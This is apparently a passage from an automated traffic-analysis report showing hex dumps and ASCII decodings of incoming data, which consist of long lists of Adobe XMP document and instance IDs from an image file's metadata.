3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 33 35 35 41 35 43 44 30 39 33 35 43 44 30 41 30 36 35 41 44 31 38 45 46 
37 33 42 42 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 33 39 31 37 46 39 35 35 41 34 30 42 44 3
4 44 34 46 38 35 39 45 30 38 37 37 32 34 33 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 34 37 30 
37 36 38 44 42 41 39 35 45 45 44 45 45 30 39 34 41 30 33 39 45 36 37 31 41 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 44 46 35 33 33 45 43 39 37 46 35 44 39 44 35 46 38 
Data Ascii: C5A3A57B25C54E45C595</rdf:li> <rdf:li>DF330487576BC12E2C78DB680619371F</rdf:li> <rdf:li>
DF355A5CD0935CD0A065AD18EF73BB98</rdf:li> <rdf:li>DF3917F955A40BD4D4F859E087724325</rdf:li> <rdf:li>
DF470768DBA95EEDEE094A039E671AFD</rdf:li> <rdf:li>DF533EC97F5D9D5F8

2022-05-26 11:47:00 UTC 9232 IN Data Raw: 3a 6c 69 3e 45 42 37 31 34 30 36 45 35 30 42 30 32 36 32 37 37 36 39 41 42 36 46 32 36 43 45 31 37 35 44 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 37 39 30 43 46 41 38 35 32 35 41 43 30 41 44 30 33 43 
44 44 44 38 37 32 30 45 31 44 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 37 41 34 30 33 37 38 3
4 31 41 43 37 42 31 45 33 45 39 31 36 46 32 44 44 39 39 36 36 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 45 42 37 42 34 36 46 46 32 33 36 37 38 46 39 31 41 31 45 34 31 41 39 43 46 37 38 33 31 39 36 31 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 37 45 34 34 43 32 41 30 46 39 45 45 38 45 31 35 30 31 35 32 39 45 34 31 42 
44 35 32 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 
Data Ascii: :li>EB71406E50B02627769AB6F26CE175D3</rdf:li> <rdf:li>EB790CFA8525AC0AD03CDDD8720E1DB3</
rdf:li> <rdf:li>EB7A4037841AC7B1E3E916F2DD996669</rdf:li> <rdf:li>EB7B46FF23678F91A1E41A9CF7831961</rdf:li> 
<rdf:li>EB7E44C2A0F9EE8E1501529E41BD52BC</rdf:li> <rdf:li>E

2022-05-26 11:47:00 UTC 9248 IN Data Raw: 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 33 34 35 41 31 46 31 32 37 42 31 38 37 34 
35 34 43 44 38 30 42 35 32 31 34 32 43 38 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 34 30 38 
42 31 44 37 30 31 36 36 31 42 32 32 31 46 32 44 43 39 37 31 31 32 42 46 32 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 46 38 34 39 44 30 35 31 34 43 45 32 37 41 33 36 39 32 37 34 30 43 35 42 31 43 42 37 30 46 32 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 35 31 43 42 39 36 35 36 38 41 33 36 45 39 32 43 46 42 35 46 
39 34 39 39 39 39 43 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 35 41 32 35 30 30 30 33 35 
31 46 46 44 46 31 30 46 39 44 46 31 30 36 30 42 39 43 36 46 43 3c 2f 72 
Data Ascii: 4F</rdf:li> <rdf:li>F8345A1F127B187454CD80B52142C8BA</rdf:li> <rdf:li>F8408B1D701661B221
F2DC97112BF2B0</rdf:li> <rdf:li>F849D0514CE27A3692740C5B1CB70F26</rdf:li> <rdf:li>F851CB96568A36E92C
FB5F949999C8F3</rdf:li> <rdf:li>F85A25000351FFDF10F9DF1060B9C6FC</r
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2022-05-26 11:47:00 UTC 9256 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 39 37 38 44 44 39 31 35 33 45 46 35 44 41 42 30 
34 37 43 39 45 31 36 34 38 32 45 30 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 39 41 42 30 43 
37 42 41 44 39 37 30 33 43 35 42 39 46 39 34 39 31 45 43 43 36 32 42 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 46 45 44 37 34 39 34 46 31 45 34 39 34 32 34 35 31 46 31 35 36 38 36 46 43 44 33 43 46 38 41 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 45 33 32 42 43 42 34 43 36 43 39 45 45 38 38 37 33 44 44 43 31 35 
44 35 43 35 35 45 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 46 30 46 41 42 38 33 36 31 43 45 32 
35 32 35 41 43 33 44 45 36 45 41 45 42 39 43 34 30 37 45 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>FE978DD9153EF5DAB047C9E16482E078</rdf:li> <rdf:li>FE9AB0C7BAD9703C5B9F
9491ECC62BCC</rdf:li> <rdf:li>FED7494F1E4942451F15686FCD3CF8A8</rdf:li> <rdf:li>FEE32BCB4C6C9EE8873D
DC15D5C55E82</rdf:li> <rdf:li>FF0FAB8361CE2525AC3DE6EAEB9C407E</rdf

2022-05-26 11:47:00 UTC 9272 IN Data Raw: 38 2d 66 31 33 32 39 31 33 31 37 62 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 65 33 64 61 36 61 61 2d 61 63 35 61 2d 31 31 64 61 2d 61 37 36 
64 2d 62 38 65 39 61 30 62 31 30 61 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 65 66 66 31 38 66 35 2d 32 31 38 61 2d 31 31 37 62 2d 62 34 63 30 2d 65 
66 34 37 30 37 62 30 35 64 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 32 66 38 61 34 33 36 35 2d 35 33 35 62 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 
63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: 8-f13291317baf</rdf:li> <rdf:li>adobe:docid:photoshop:2e3da6aa-ac5a-11da-a76d-b8e9a0b10ab5</rdf:li> 
<rdf:li>adobe:docid:photoshop:2eff18f5-218a-117b-b4c0-ef4707b05d2c</rdf:li> <rdf:li>adobe:docid:photoshop:2f8a4365-
535b-1178-a24c-f102c580dd27</rdf:li> <rd

2022-05-26 11:47:00 UTC 9288 IN Data Raw: 70 68 6f 74 6f 73 68 6f 70 3a 35 66 39 39 30 34 33 33 2d 35 61 61 33 2d 31 31 65 36 2d 62 33 37 39 2d 62 64 
62 65 65 32 33 33 61 65 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 35 66 61 33 38 65 39 38 2d 66 31 66 34 2d 31 31 64 38 2d 62 61 61 35 2d 64 38 31 30 35 
65 36 63 37 39 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
74 6f 73 68 6f 70 3a 35 66 61 34 63 30 65 39 2d 65 31 33 31 2d 33 65 34 62 2d 61 38 35 61 2d 62 36 64 38 34 34 36 33 
62 33 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 
68 6f 70 3a 35 66 66 63 65 34 61 61 2d 31 38 64 32 2d 65 37 34 
Data Ascii: photoshop:5f990433-5aa3-11e6-b379-bdbee233ae1d</rdf:li> <rdf:li>adobe:docid:photoshop:5fa38e98-f1f4-
11d8-baa5-d8105e6c795a</rdf:li> <rdf:li>adobe:docid:photoshop:5fa4c0e9-e131-3e4b-a85a-b6d84463b356</rdf:li> 
<rdf:li>adobe:docid:photoshop:5ffce4aa-18d2-e74

2022-05-26 11:47:00 UTC 9296 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 37 36 36 36 62 62 62 33 2d 32 62 32 37 2d 31 31 65 36 2d 61 38 65 35 2d 66 31 63 30 39 62 31 37 65 66 38 63 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 
36 39 36 32 37 38 63 2d 31 39 36 66 2d 31 31 64 38 2d 62 64 39 30 2d 64 39 36 31 63 63 63 38 38 39 39 66 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 39 39 
61 64 63 33 2d 64 65 65 39 2d 31 31 64 37 2d 39 36 36 64 2d 63 35 35 66 33 64 39 38 32 33 33 32 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
Data Ascii: rdf:li> <rdf:li>adobe:docid:photoshop:7666bbb3-2b27-11e6-a8e5-f1c09b17ef8c</rdf:li> <rdf:li>adobe:
docid:photoshop:7696278c-196f-11d8-bd90-d961ccc8899f</rdf:li> <rdf:li>adobe:docid:photoshop:7699adc3-dee9-11d7-
966d-c55f3d982332</rdf:li> <rdf:li>adobe:docid

2022-05-26 11:47:00 UTC 9312 IN Data Raw: 62 35 2d 32 35 65 62 2d 31 31 65 37 2d 62 33 37 66 2d 64 36 33 30 32 34 34 37 66 36 39 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 37 63 33 61 
39 36 35 2d 30 33 36 61 2d 31 31 65 37 2d 38 30 38 61 2d 38 61 35 65 38 65 35 38 39 63 61 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 37 66 65 66 30 62 63 
2d 37 66 33 65 2d 31 31 65 31 2d 61 33 38 62 2d 65 66 39 62 33 30 34 36 39 30 35 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 38 61 36 61 62 63 35 2d 66 62 6
4 36 2d 31 31 65 37 2d 62 62 38 31 2d 38 37 61 31 35 30 30 30 34 
Data Ascii: b5-25eb-11e7-b37f-d6302447f690</rdf:li> <rdf:li>adobe:docid:photoshop:a7c3a965-036a-11e7-808a-8a5e
8e589ca2</rdf:li> <rdf:li>adobe:docid:photoshop:a7fef0bc-7f3e-11e1-a38b-ef9b3046905e</rdf:li> <rdf:li>adobe:do
cid:photoshop:a8a6abc5-fbd6-11e7-bb81-87a150004

2022-05-26 11:47:00 UTC 9328 IN Data Raw: 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 34 33 33 61 35 
61 2d 35 34 62 63 2d 31 31 64 38 2d 38 33 32 32 2d 61 63 64 64 39 37 39 36 63 30 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 36 38 33 66 34 34 2d 32 
64 35 39 2d 31 31 65 38 2d 62 37 62 37 2d 38 36 62 32 62 37 37 37 38 32 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 63 32 63 39 38 38 2d 65 33 65 32 
2d 31 31 64 39 2d 38 61 34 63 2d 66 33 38 64 64 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
Data Ascii: rdf:li>adobe:docid:photoshop:df433a5a-54bc-11d8-8322-acdd9796c05c</rdf:li> <rdf:li>adobe:docid:pho
toshop:df683f44-2d59-11e8-b7b7-86b2b7778215</rdf:li> <rdf:li>adobe:docid:photoshop:dfc2c988-e3e2-11d9-8a4c-f38
dd7a69dec</rdf:li> <rdf:li>adobe:docid:photosho

2022-05-26 11:47:00 UTC 9335 IN Data Raw: 39 66 34 37 2d 62 39 62 32 66 31 34 34 36 38 31 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 36 63 32 39 35 64 35 2d 66 64 31 30 2d 31 31 65 35 2d 
39 39 39 38 2d 64 35 62 33 35 39 32 37 62 38 65 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 36 63 64 65 66 62 37 2d 32 36 36 35 2d 31 31 37 38 2d 61 37 33 
36 2d 39 66 35 31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 36 65 31 37 33 65 34 2d 38 31 64 37 2d 31 31 65 36 2d 62 30 31 35 2d 62 
64 35 66 64 33 35 64 37 30 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 9f47-b9b2f144681b</rdf:li> <rdf:li>adobe:docid:photoshop:f6c295d5-fd10-11e5-9998-d5b35927b8e0</rdf:li> 
<rdf:li>adobe:docid:photoshop:f6cdefb7-2665-1178-a736-9f5173c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:f6e173e4-
81d7-11e6-b015-bd5fd35d70ee</rdf:li> 

2022-05-26 11:47:00 UTC 9351 IN Data Raw: 44 46 31 31 42 31 37 39 43 36 36 34 30 31 37 34 35 44 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 32 43 45 39 42 43 44 33 41 45 36 32 44 44 31 31 41 32 41 45 45 30 41 36 43 41 32 36 35 32 45 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 44 30 43 31 35 44 30 32 31 39 42 44 46 31 31 
39 41 39 30 44 44 46 36 30 42 42 32 46 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 3
2 44 31 46 30 35 42 30 32 39 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 44 33 36 32 31 31 38 32 41 39 44 44 44 31 31 41 32 37 39 41 31 41 30 
34 46 35 35 39 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: DF11B179C66401745D0C</rdf:li> <rdf:li>uuid:2CE9BCD3AE62DD11A2AEE0A6CA2652E5</rdf:li> <rd
f:li>uuid:2D0C15D0219BDF119A90DDF60BB2FCD0</rdf:li> <rdf:li>uuid:2D1F05B02946DE118E05E00A924D8CC5</r
df:li> <rdf:li>uuid:2D3621182A9DDD11A279A1A04F559DDE</rdf:li> <rdf:
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2022-05-26 11:47:00 UTC 9367 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 38 42 42 42 46 44 44 31 31 38 32 30 30 44 
38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 
41 45 36 37 39 43 37 45 30 31 31 38 31 35 30 38 38 36 33 34 41 32 33 31 38 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 75 75 69 64 3a 36 30 41 43 42 44 38 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 39 34 42 42 30 
38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 31 37 30 35 42 46 37 36 39 46 42 
44 43 31 31 39 37 31 41 43 37 37 36 34 30 38 45 35 38 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 36 31 39 45 41 38 42 33 46 42 44 42 44 43 31 31 41 33 36 39 43 
Data Ascii:  <rdf:li>uuid:60754558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011815
088634A231897</rdf:li> <rdf:li>uuid:60ACBD8FEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:61705BF76
9FBDC11971AC776408E5885</rdf:li> <rdf:li>uuid:619EA8B3FBDBDC11A369C

2022-05-26 11:47:00 UTC 9375 IN Data Raw: 45 37 31 44 43 31 31 42 42 37 37 46 41 31 39 41 33 39 31 36 37 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 37 39 45 30 43 46 45 41 38 42 45 36 44 44 31 31 42 46 32 31 46 39 37 36 46 43 31 42 44 
35 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 39 45 35 46 36 35 33 43 31 43 41 44 
42 31 31 38 33 33 36 41 43 31 36 34 31 44 36 46 31 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 37 41 30 31 32 33 37 36 43 32 34 36 31 31 44 41 38 32 32 38 42 33 34 37 41 30 39 46 43 44 32 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 41 30 38 45 31 45 46 37 32 30 43 45 30 31 31 38 33 45 44 
41 31 41 39 34 42 42 45 44 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: E71DC11BB77FA19A391671F</rdf:li> <rdf:li>uuid:79E0CFEA8BE6DD11BF21F976FC1BD5E7</rdf:li> 
<rdf:li>uuid:79E5F653C1CADB118336AC1641D6F1BB</rdf:li> <rdf:li>uuid:7A012376C24611DA8228B347A09FCD26
</rdf:li> <rdf:li>uuid:7A08E1EF720CE01183EDA1A94BBED35F</rdf:li> <r

2022-05-26 11:47:00 UTC 9391 IN Data Raw: 43 43 43 44 31 38 39 45 46 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 
44 38 31 37 37 44 36 34 38 35 33 45 31 31 31 38 36 33 44 46 37 30 38 38 30 44 44 32 41 30 46 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 44 39 42 30 41 43 42 44 46 30 37 44 43 31 31 41 35 32 42 41 39 34 45 
39 37 31 38 36 44 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 44 41 39 34 38 32 36 3
7 41 34 39 44 43 31 31 42 31 34 38 43 34 31 31 33 33 44 36 35 38 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 41 44 42 46 44 46 33 46 46 38 37 36 44 46 31 31 39 45 32 39 45 46 43 37 31 39 36 35 33 33 37 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
Data Ascii: CCCD189EFFE6</rdf:li> <rdf:li>uuid:AD8177D64853E111863DF70880DD2A0F</rdf:li> <rdf:li>uui
d:AD9B0ACBDF07DC11A52BA94E97186DF2</rdf:li> <rdf:li>uuid:ADA948267A49DC11B148C41133D65815</rdf:li> <
rdf:li>uuid:ADBFDF3FF876DF119E29EFC719653375</rdf:li> <rdf:li>uuid:

2022-05-26 11:47:00 UTC 9407 IN Data Raw: 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 45 43 32 43 30 35 31 41 46 44 39 31 45 30 31 31 39 41 46 32 46 45 44 31 34 44 45 39 37 30 45 42 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 43 34 36 41 42 31 41 46 31 43 39 44 44 31 31 41 
41 30 30 43 43 31 45 34 38 31 31 30 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 4
3 37 37 43 46 42 30 45 30 32 36 44 46 31 31 41 31 37 34 43 32 32 46 43 43 43 30 44 39 43 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 43 39 37 42 34 35 44 44 45 46 31 44 45 31 31 42 43 31 42 43 42 31 34 
39 36 45 46 36 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: C11ADC9AA9423F16EAD</rdf:li> <rdf:li>uuid:EC2C051AFD91E0119AF2FED14DE970EB</rdf:li> <rdf
:li>uuid:EC46AB1AF1C9DD11AA00CC1E48110F0E</rdf:li> <rdf:li>uuid:EC77CFB0E026DF11A174C22FCCC0D9C5</rd
f:li> <rdf:li>uuid:EC97B45DDEF1DE11BC1BCB1496EF66FC</rdf:li> <rdf:l

2022-05-26 11:47:00 UTC 9415 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 34 32 39 39 31 41 34 45 32 30 36 38 31 31 41 46 32 31 45 36 30 42 
43 43 35 37 30 35 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 35 38 42 
36 32 39 34 41 33 37 45 30 31 31 39 46 45 41 39 45 39 37 45 43 39 46 42 44 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 35 39 66 35 36 39 2d 65 31 64 33 2d 63 61 34 30 2d 62 61 66 64 2d 32 
30 37 64 39 64 61 65 64 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 
36 36 41 44 42 36 32 31 32 30 36 38 31 31 39 37 41 35 42 34 45 37 41 37 35 34 39 35 43 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 
Data Ascii: li>xmp.did:0142991A4E206811AF21E60BCC57056F</rdf:li> <rdf:li>xmp.did:0158B6294A37E0119FE
A9E97EC9FBD0C</rdf:li> <rdf:li>xmp.did:0159f569-e1d3-ca40-bafd-207d9daedad1</rdf:li> <rdf:li>xmp.did:0166ADB62
120681197A5B4E7A75495C2</rdf:li> <rdf:li>xmp.did:01801174

2022-05-26 11:47:00 UTC 9431 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 44 34 41 42 
30 30 31 35 34 31 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 
31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 41 39 45 38 36 42 39 32 44 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 38 39 35 35 36 
36 38 36 45 36 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 
37 34 30 37 32 30 36 38 31 31 38 38 43 36 46 32 34 43 34 43 34 42 44 44 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 
Data Ascii: li>xmp.did:0380117407206811822AD4AB001541FF</rdf:li> <rdf:li>xmp.did:0380117407206811871
FDA9E86B92DDA</rdf:li> <rdf:li>xmp.did:038011740720681188C689556686E63E</rdf:li> <rdf:li>xmp.did:038
011740720681188C6F24C4C4BDD81</rdf:li> <rdf:li>xmp.did:038011740720

2022-05-26 11:47:00 UTC 9447 IN Data Raw: 3e 78 6d 70 2e 64 69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 64 62 2d 63 66 
64 63 39 66 66 35 36 66 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 31 
37 35 32 30 63 2d 35 65 35 61 2d 34 34 39 35 2d 38 65 33 63 2d 36 37 39 61 39 62 31 36 33 65 34 61 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 34 41 43 45 30 32 45 35 35 45 30 31 31 39 44 42 
38 38 38 45 38 34 32 36 36 38 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
30 38 32 36 41 31 31 36 39 42 31 38 45 32 31 31 39 46 33 35 46 44 46 32 30 45 45 33 34 33 30 37 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 61 63 30 
Data Ascii: >xmp.did:07e0c12b-b5f4-4b0d-acdb-cfdc9ff56f56</rdf:li> <rdf:li>xmp.did:0817520c-5e5a-4495-8e3c-679
a9b163e4a</rdf:li> <rdf:li>xmp.did:0824ACE02E55E0119DB888E8426685F3</rdf:li> <rdf:li>xmp.did:0826A11
69B18E2119F35FDF20EE34307</rdf:li> <rdf:li>xmp.did:082ac0

2022-05-26 11:47:00 UTC 9455 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 32 33 38 38 33 45 34 32 32 30 36 38 31 31 39 31 30 39 43 
32 46 31 35 41 43 46 38 30 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 
32 37 45 37 43 33 31 36 32 30 36 38 31 31 41 46 35 32 46 35 42 33 31 37 36 35 42 46 41 39 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 35 32 44 32 45 36 39 42 32 37 36 38 31 31 39 35 46 45 41 32 
35 42 42 30 46 43 43 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 35 
33 43 42 37 36 36 46 33 39 45 30 31 31 39 43 33 33 38 46 34 38 34 34 42 43 34 45 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 36 34 44 32 41 36 33 
Data Ascii: df:li>xmp.did:0B23883E422068119109C2F15ACF8053</rdf:li> <rdf:li>xmp.did:0B27E7C316206811
AF52F5B31765BFA9</rdf:li> <rdf:li>xmp.did:0B52D2E69B27681195FEA25BB0FCC8E8</rdf:li> <rdf:li>xmp.did:
0B53CB766F39E0119C338F4844BC4E7C</rdf:li> <rdf:li>xmp.did:0B64D2A63
